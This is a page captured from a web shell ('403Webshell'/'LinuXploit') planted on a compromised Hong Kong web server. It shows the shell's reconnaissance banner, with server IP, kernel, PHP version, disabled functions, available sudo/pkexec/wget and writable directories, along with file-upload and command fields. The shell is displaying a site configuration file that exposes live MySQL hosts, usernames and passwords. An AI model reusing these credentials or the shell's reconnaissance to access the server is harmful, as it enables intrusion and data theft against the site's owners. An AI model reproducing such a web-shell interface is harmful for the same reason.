403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)eizo.hkosl.com/global/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)eizo.hkosl.com/global/webadmin/configure.php
<?php

	//new pdo
	if (!headers_sent()) {
		header('X-UA-Compatible: IE=8,chrome=1');
	}

	//$dbh = new PDO("mysql:host=localhost;dbname=eizocomcn", "kelvin", "kelvin123123");
	$dbh = new PDO("mysql:host=192.168.155.13;dbname=eizo", "admin", "PHac7dru");
	$dbh->exec("set names utf8");

	date_default_timezone_set("Asia/Hong_Kong");

	if (!function_exists('random_string')) {
		function random_string( $length = 8 ) {
			$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
			$random_string = substr( str_shuffle( $chars ), 0, $length );
			return $random_string;
		}
	}


	if (session_id() === "") { session_start(); }

	error_reporting(E_ALL);
	ini_set('display_errors', 1);

	if(!isset($_SESSION["langcode"])){
		$_SESSION["langcode"] = "tc";
	}

	$sql0 = "SELECT * FROM site_info WHERE siteinfoid = '1' ";
	$sth0 = $dbh->prepare($sql0);
	$sth0->execute();
	if (!$sth0->execute())
		throw new Exception('[' . $sth0->errorCode() . ']: ' . $sth0->errorInfo());
	$row0 = $sth0->fetch(PDO::FETCH_ASSOC);


	$sql00 = "SELECT * FROM sys_lang WHERE langstatus = '1' ORDER BY langsort ASC ";
	$sth00 = $dbh->prepare($sql00);
	if (!$sth00->execute())
		throw new Exception('[' . $sth00->errorCode() . ']: ' . $sth00->errorInfo());
	while ($row00 = $sth00->fetch(PDO::FETCH_ASSOC)) {
		$arraylangcode[$row00{'langcode'}] = $row00{'langname'};
	}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit